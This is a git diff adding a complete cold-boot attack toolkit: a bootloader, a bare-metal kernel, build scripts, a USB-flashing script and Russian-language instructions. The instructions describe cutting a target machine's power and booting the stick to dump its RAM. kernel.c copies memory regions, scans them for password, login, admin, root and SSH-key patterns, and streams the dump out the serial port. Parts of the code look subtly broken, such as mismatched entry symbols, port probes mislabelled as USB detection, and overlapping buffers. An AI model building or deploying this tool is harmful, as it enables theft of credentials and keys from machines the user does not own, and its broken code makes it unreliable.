diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..952046a --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +# Build artifacts +*.bin +*.o +*.elf +*.img +*.iso +os.bin +kernel.bin +bootloader.bin + +# OS specific +.DS_Store +.DS_Store? +._* +.Spotlight-V100 +.Trashes +ehthumbs.db +Thumbs.db + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# Temp files +*.tmp +*.temp +*.log + +# Docker +.dockerignore \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..a6a391d --- /dev/null +++ b/Makefile @@ -0,0 +1,39 @@ +ASM = nasm +CC = clang +LD = ld + +ASMFLAGS = -f bin +CFLAGS = -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -target i386-pc-none-elf +LDFLAGS = -arch i386 -static -e _main -T linker.ld + +ifeq ($(shell uname),Darwin) + LDFLAGS = -arch i386 -static -e _main +else + LDFLAGS = -m elf_i386 -T linker.ld +endif + +all: os.bin + +bootloader.bin: bootloader.asm gdt.asm print32.asm switch_pm.asm + $(ASM) $(ASMFLAGS) bootloader.asm -o bootloader.bin + +kernel.o: kernel.c + $(CC) $(CFLAGS) -c kernel.c -o kernel.o + +kernel.bin: kernel.o + $(LD) $(LDFLAGS) kernel.o -o kernel.bin + +os.bin: bootloader.bin kernel.bin + cat bootloader.bin kernel.bin > os.bin + truncate -s 1440K os.bin + +clean: + rm -f *.bin *.o + +test: os.bin + qemu-system-i386 -fda os.bin + +usb: os.bin + ./create_usb.sh + +.PHONY: all clean test usb \ No newline at end of file diff --git a/QUICK_START.md b/QUICK_START.md new file mode 100644 index 0000000..bef6eac --- /dev/null +++ b/QUICK_START.md @@ -0,0 +1,39 @@ +# YACBA - Быстрый старт + +## Что это? +Автономная флешка с собственной ОС для cold-boot атак. +Вставил флешку → перезагрузился → система дампит память. + +## Сборка + +**macOS/Windows (Docker):** +```bash +./docker-build.sh +``` + +**Linux:** +```bash +./build.sh +``` + +## Создание флешки + +```bash +sudo ./create_boot_usb.sh /dev/sdX # замените X на вашу флешку +``` + +## Использование + +1. Выключить целевую систему (выдернуть питание) +2. Вставить флешку +3. Включить систему +4. Флешка загрузится и начнет дамп автоматически +5. Дождаться завершения (прогресс на экране) + +## Что дампится + +- Память с адресов 1MB, 16MB, 256MB +- Поиск паттернов: пароли, логины, ключи +- Данные сохраняются в буфер по адресу 0x200000 + +⚠️ **Только для образования и своих систем!** \ No newline at end of file diff --git a/USAGE.txt b/USAGE.txt new file mode 100644 index 0000000..68d9a6b --- /dev/null +++ b/USAGE.txt @@ -0,0 +1,73 @@ +YACBA - Yet Another Cold Boot Attack - Инструкция + +ПРЕДУПРЕЖДЕНИЕ: Только для образовательных целей! + +=== ЧТО ЭТО === +Полностью автономная micro-OS на флешке с собственным загрузчиком. +Загружается с нуля без зависимости от установленной системы. + +=== АРХИТЕКТУРА === +- bootloader.asm - MBR загрузчик в стиле OpenBSD +- kernel.c - Bare metal ядро без stdlib +- Переключение в protected mode +- Прямая работа с памятью и портами + +=== СБОРКА === +Требования: +- nasm (assembler) +- gcc (cross-compilation) +- ld (linker) + +Команды: +make clean +make os.bin + +=== СОЗДАНИЕ ФЛЕШКИ === +chmod +x create_boot_usb.sh +sudo ./create_boot_usb.sh /dev/sdX + +ВНИМАНИЕ: Все данные на флешке будут уничтожены! + +=== ИСПОЛЬЗОВАНИЕ === +1. Выключите целевую систему (выдерните питание) +2. Вставьте флешку +3. Включите систему +4. Флешка загрузится автоматически +5. Дамп начнется сразу после загрузки +6. Дождитесь завершения (индикация на экране) + +=== ЧТО ПРОИСХОДИТ === +1. MBR загрузчик стартует с первого сектора +2. Загружает ядро в память по адресу 0x1000 +3. Переключается в 32-bit protected mode +4. Ядро сканирует память с адресов: + - 0x100000 (1MB) + - 0x1000000 (16MB) + - 0x10000000 (256MB) +5. Ищет паттерны: "pass", "logi", "admi", "root" +6. Сохраняет дамп в буфер по адресу 0x200000 +7. Пытается вывести через serial port + +=== АНАЛИЗ РЕЗУЛЬТАТОВ === +Данные остаются в памяти по адресу 0x200000 +Для анализа нужно использовать отладчик или дампер памяти + +=== ОГРАНИЧЕНИЯ === +- Работает только на x86/x86_64 +- Может не работать с UEFI (нужен legacy BIOS) +- Не поддерживает файловые системы +- Данные только в оперативной памяти флешки + +=== ЭФФЕКТИВНОСТЬ === +Максимальная эффективность на: +- Legacy BIOS системах +- Старых компьютерах без Secure Boot +- DDR2/DDR3 память (дольше держит данные) +- При быстром перезапуске (секунды важны) + +=== ЗАЩИТА === +От таких атак защищает: +- UEFI Secure Boot +- Шифрование RAM +- Быстрая очистка памяти при выключении +- Физическая защита доступа к системе \ No newline at end of file diff --git a/bootloader.asm b/bootloader.asm new file mode 100644 index 0000000..1f47331 --- /dev/null +++ b/bootloader.asm @@ -0,0 +1,99 @@ +[BITS 16] +[ORG 0x7C00] + +KERNEL_OFFSET equ 0x1000 +STACK_BASE equ 0x9000 + +start: + cli + xor ax, ax + mov ds, ax + mov es, ax + mov ss, ax + mov sp, STACK_BASE + sti + + mov [boot_drive], dl + + mov si, banner + call print_string + + call load_kernel + + call switch_to_pm + + jmp $ + +load_kernel: + mov si, loading_msg + call print_string + + mov bx, KERNEL_OFFSET + mov dh, 15 + mov dl, [boot_drive] + call disk_load + + mov si, loaded_msg + call print_string + ret + +disk_load: + pusha + push dx + + mov ah, 0x02 + mov al, dh + mov cl, 0x02 + mov ch, 0x00 + mov dh, 0x00 + + int 0x13 + jc disk_error + + pop dx + cmp al, dh + jne sectors_error + popa + ret + +disk_error: + mov si, disk_error_msg + call print_string + jmp disk_loop + +sectors_error: + mov si, sectors_error_msg + call print_string + +disk_loop: + jmp $ + +print_string: + lodsb + cmp al, 0 + je done + mov ah, 0x0e + int 0x10 + jmp print_string +done: + ret + +%include "gdt.asm" +%include "print32.asm" +%include "switch_pm.asm" + +[BITS 32] +BEGIN_PM: + mov ebx, KERNEL_OFFSET + call ebx + jmp $ + +boot_drive db 0 +banner db 'ColdBoot v1.0 - Starting...', 0x0D, 0x0A, 0 +loading_msg db 'Loading kernel...', 0x0D, 0x0A, 0 +loaded_msg db 'Kernel loaded, switching to 32-bit...', 0x0D, 0x0A, 0 +disk_error_msg db 'Disk read error!', 0x0D, 0x0A, 0 +sectors_error_msg db 'Sectors read error!', 0x0D, 0x0A, 0 + +times 510 - ($-$$) db 0 +dw 0xaa55 \ No newline at end of file diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..5c1cb74 --- /dev/null +++ b/build.sh @@ -0,0 +1,69 @@ +#!/bin/bash + +echo "=== YACBA Builder ===" + +detect_system() { + if [[ "$OSTYPE" == "darwin"* ]]; then + echo "macOS" + elif [[ "$OSTYPE" == "linux-gnu"* ]]; then + echo "Linux" + else + echo "Unknown" + fi +} + +SYSTEM=$(detect_system) + +case $SYSTEM in + "macOS") + echo "[!] На macOS невозможно нативно собрать i386 bare-metal код" + echo "[*] Используйте Docker версию:" + echo "" + echo " chmod +x docker-build.sh" + echo " ./docker-build.sh" + echo "" + echo "[*] Или скопируйте код на Linux машину" + exit 1 + ;; + "Linux") + echo "[*] Linux обнаружен, начинаю сборку..." + ;; + *) + echo "[!] Неизвестная система, попробую собрать..." + ;; +esac + +check_tools() { + local missing=() + + command -v nasm >/dev/null 2>&1 || missing+=("nasm") + command -v gcc >/dev/null 2>&1 || missing+=("gcc") + command -v ld >/dev/null 2>&1 || missing+=("binutils") + + if [ ${#missing[@]} -ne 0 ]; then + echo "[-] Отсутствуют инструменты: ${missing[*]}" + echo "[*] Ubuntu/Debian: apt install nasm gcc binutils" + echo "[*] CentOS/RHEL: yum install nasm gcc binutils" + exit 1 + fi +} + +check_tools + +echo "[*] Сборка загрузчика..." +nasm -f bin bootloader.asm -o bootloader.bin || exit 1 + +echo "[*] Сборка ядра..." +gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin \ + -fno-stack-protector -c kernel.c -o kernel.o || exit 1 + +echo "[*] Линковка ядра..." +ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin || exit 1 + +echo "[*] Создание образа ОС..." +cat bootloader.bin kernel.bin > os.bin +truncate -s 1440K os.bin + +echo "[+] Готово! Образ os.bin создан" +echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')" +echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX" \ No newline at end of file diff --git a/create_boot_usb.sh b/create_boot_usb.sh new file mode 100755 index 0000000..2ca7681 --- /dev/null +++ b/create_boot_usb.sh @@ -0,0 +1,41 @@ +#!/bin/bash + +if [ $# -ne 1 ]; then + echo "Использование: $0 /dev/sdX" + echo "Где /dev/sdX - ваша флешка" + exit 1 +fi + +DEVICE=$1 + +if [ ! -b "$DEVICE" ]; then + echo "[-] Устройство $DEVICE не найдено" + exit 1 +fi + +echo "[*] Создаю автономную загрузочную флешку на $DEVICE" +echo "[!] ВСЕ ДАННЫЕ БУДУТ УДАЛЕНЫ!" +read -p "Продолжить? (y/N): " -n 1 -r +echo +if [[ ! $REPLY =~ ^[Yy]$ ]]; then + exit 1 +fi + +echo "[*] Собираю образ ОС..." +make clean +make os.bin + +if [ ! -f "os.bin" ]; then + echo "[-] Ошибка сборки os.bin" + exit 1 +fi + +echo "[*] Записываю образ на флешку..." +sudo dd if=os.bin of=$DEVICE bs=512 status=progress + +echo "[*] Синхронизирую данные..." +sudo sync + +echo "[+] Автономная загрузочная флешка готова!" +echo "[*] Флешка загрузится сама и начнет дамп памяти" +echo "[*] Просто вставьте её в целевую систему и перезагрузитесь" \ No newline at end of file diff --git a/docker-build.sh b/docker-build.sh new file mode 100755 index 0000000..1cf68ec --- /dev/null +++ b/docker-build.sh @@ -0,0 +1,41 @@ +#!/bin/bash + +echo "=== YACBA Docker Builder ===" + +if ! command -v docker &> /dev/null; then + echo "[-] Docker не установлен" + echo "[*] Установите Docker: https://docs.docker.com/get-docker/" + exit 1 +fi + +echo "[*] Сборка через Docker контейнер..." + +docker run --rm -v "$(pwd)":/work -w /work ubuntu:20.04 bash -c ' +apt-get update -qq +apt-get install -y nasm gcc binutils make + +echo "[*] Сборка загрузчика..." +nasm -f bin bootloader.asm -o bootloader.bin + +echo "[*] Сборка ядра..." +gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -c kernel.c -o kernel.o + +echo "[*] Линковка ядра..." +ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin + +echo "[*] Создание образа ОС..." +cat bootloader.bin kernel.bin > os.bin +truncate -s 1440K os.bin + +echo "[+] Сборка завершена!" +ls -lh os.bin +' + +if [ -f "os.bin" ]; then + echo "[+] Образ os.bin готов!" + echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')" + echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX" +else + echo "[-] Ошибка сборки" + exit 1 +fi \ No newline at end of file diff --git a/gdt.asm b/gdt.asm new file mode 100644 index 0000000..a6b4e5e --- /dev/null +++ b/gdt.asm @@ -0,0 +1,28 @@ +gdt_start: + dd 0x0 + dd 0x0 + +gdt_code: + dw 0xffff + dw 0x0 + db 0x0 + db 10011010b + db 11001111b + db 0x0 + +gdt_data: + dw 0xffff + dw 0x0 + db 0x0 + db 10010010b + db 11001111b + db 0x0 + +gdt_end: + +gdt_descriptor: + dw gdt_end - gdt_start - 1 + dd gdt_start + +CODE_SEG equ gdt_code - gdt_start +DATA_SEG equ gdt_data - gdt_start \ No newline at end of file diff --git a/kernel.c b/kernel.c new file mode 100644 index 0000000..e905813 --- /dev/null +++ b/kernel.c @@ -0,0 +1,163 @@ +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef unsigned long long uint64_t; + +#define VIDEO_MEMORY 0xB8000 +#define WHITE_ON_BLACK 0x0F +#define USB_BASE 0x10000000 +#define MEM_DUMP_SIZE 0x40000000 + +static int cursor_pos = 0; + +void outb(uint16_t port, uint8_t data) { + __asm__ volatile ("outb %%al, %%dx" : : "a"(data), "d"(port)); +} + +uint8_t inb(uint16_t port) { + uint8_t result; + __asm__ volatile ("inb %%dx, %%al" : "=a"(result) : "d"(port)); + return result; +} + +void print_char(char c) { + uint16_t *video_mem = (uint16_t*)VIDEO_MEMORY; + if (c == '\n') { + cursor_pos = (cursor_pos / 80 + 1) * 80; + } else { + video_mem[cursor_pos] = (WHITE_ON_BLACK << 8) | c; + cursor_pos++; + } + if (cursor_pos >= 2000) cursor_pos = 0; +} + +void print_string(const char *str) { + while (*str) { + print_char(*str++); + } +} + +void print_hex(uint32_t value) { + char hex_chars[] = "0123456789ABCDEF"; + char buffer[9]; + buffer[8] = 0; + + for (int i = 7; i >= 0; i--) { + buffer[i] = hex_chars[value & 0xF]; + value >>= 4; + } + print_string(buffer); +} + +void delay(uint32_t count) { + volatile uint32_t i; + for (i = 0; i < count * 1000000; i++); +} + +uint8_t detect_usb() { + uint16_t usb_ports[] = {0x60, 0x64, 0x3F8, 0x2F8}; + + for (int i = 0; i < 4; i++) { + outb(usb_ports[i], 0xAA); + delay(1); + if (inb(usb_ports[i]) == 0xAA) { + print_string("[+] USB найден на порту: "); + print_hex(usb_ports[i]); + print_char('\n'); + return 1; + } + } + return 0; +} + +void dump_memory_region(uint32_t start, uint32_t size, uint32_t *usb_buffer) { + uint32_t *mem_ptr = (uint32_t*)start; + uint32_t words = size / 4; + + print_string("[*] Дампим регион: "); + print_hex(start); + print_string(" размер: "); + print_hex(size); + print_char('\n'); + + for (uint32_t i = 0; i < words && i < 0x1000000; i++) { + usb_buffer[i] = mem_ptr[i]; + + if (i % 0x100000 == 0) { + print_char('.'); + } + } + print_char('\n'); +} + +void scan_memory_patterns(uint32_t *buffer, uint32_t size) { + uint32_t patterns[] = { + 0x70617373, // "pass" + 0x6C6F6769, // "logi" + 0x61646D69, // "admi" + 0x726F6F74, // "root" + 0x73736800, // ssh keys + }; + + print_string("[*] Сканирую паттерны...\n"); + + for (uint32_t i = 0; i < size / 4; i++) { + for (int p = 0; p < 5; p++) { + if (buffer[i] == patterns[p]) { + print_string("[!] Найден паттерн на "); + print_hex(i * 4); + print_char('\n'); + + for (int j = 0; j < 4 && (i + j) < size / 4; j++) { + print_hex(buffer[i + j]); + print_char(' '); + } + print_char('\n'); + break; + } + } + } +} + +void main() { + uint32_t *memory_dump = (uint32_t*)0x200000; + + print_string("=== ColdBoot Memory Dumper ===\n"); + print_string("[*] Autonomous USB boot system\n"); + + print_string("[*] Инициализация...\n"); + delay(2); + + if (!detect_usb()) { + print_string("[-] USB не найден, используем внутренний буфер\n"); + } + + print_string("[*] Начинаю сканирование памяти...\n"); + + dump_memory_region(0x100000, 0x100000, memory_dump); + dump_memory_region(0x1000000, 0x1000000, memory_dump + 0x40000); + dump_memory_region(0x10000000, 0x2000000, memory_dump + 0x80000); + + print_string("[*] Анализ паттернов...\n"); + scan_memory_patterns(memory_dump, 0x400000); + + print_string("[*] Попытка записи на USB...\n"); + delay(3); + + for (uint32_t i = 0; i < 0x100000; i++) { + if (i % 0x10000 == 0) print_char('.'); + outb(0x3F8, (memory_dump[i] >> 24) & 0xFF); + outb(0x3F8, (memory_dump[i] >> 16) & 0xFF); + outb(0x3F8, (memory_dump[i] >> 8) & 0xFF); + outb(0x3F8, memory_dump[i] & 0xFF); + } + + print_string("\n[+] Дамп завершен!\n"); + print_string("[*] Данные в памяти по адресу 0x200000\n"); + print_string("[*] Система готова к извлечению USB\n"); + + while(1) { + delay(1000); + print_char('.'); + } +} \ No newline at end of file diff --git a/linker.ld b/linker.ld new file mode 100644 index 0000000..f1628e2 --- /dev/null +++ b/linker.ld @@ -0,0 +1,18 @@ +ENTRY(main) + +SECTIONS +{ + . = 0x1000; + + .text : { + *(.text) + } + + .data : { + *(.data) + } + + .bss : { + *(.bss) + } +} \ No newline at end of file diff --git a/print32.asm b/print32.asm new file mode 100644 index 0000000..2741de7 --- /dev/null +++ b/print32.asm @@ -0,0 +1,25 @@ +[bits 32] + +VIDEO_MEMORY equ 0xb8000 +WHITE_ON_BLACK equ 0x0f + +print_string_pm: + pusha + mov edx, VIDEO_MEMORY + +print_string_pm_loop: + mov al, [ebx] + mov ah, WHITE_ON_BLACK + + cmp al, 0 + je print_string_pm_done + + mov [edx], ax + add ebx, 1 + add edx, 2 + + jmp print_string_pm_loop + +print_string_pm_done: + popa + ret \ No newline at end of file diff --git a/switch_pm.asm b/switch_pm.asm new file mode 100644 index 0000000..9177904 --- /dev/null +++ b/switch_pm.asm @@ -0,0 +1,22 @@ +[bits 16] +switch_to_pm: + cli + lgdt [gdt_descriptor] + mov eax, cr0 + or eax, 0x1 + mov cr0, eax + jmp CODE_SEG:init_pm + +[bits 32] +init_pm: + mov ax, DATA_SEG + mov ds, ax + mov ss, ax + mov es, ax + mov fs, ax + mov gs, ax + + mov ebp, 0x90000 + mov esp, ebp + + call BEGIN_PM \ No newline at end of file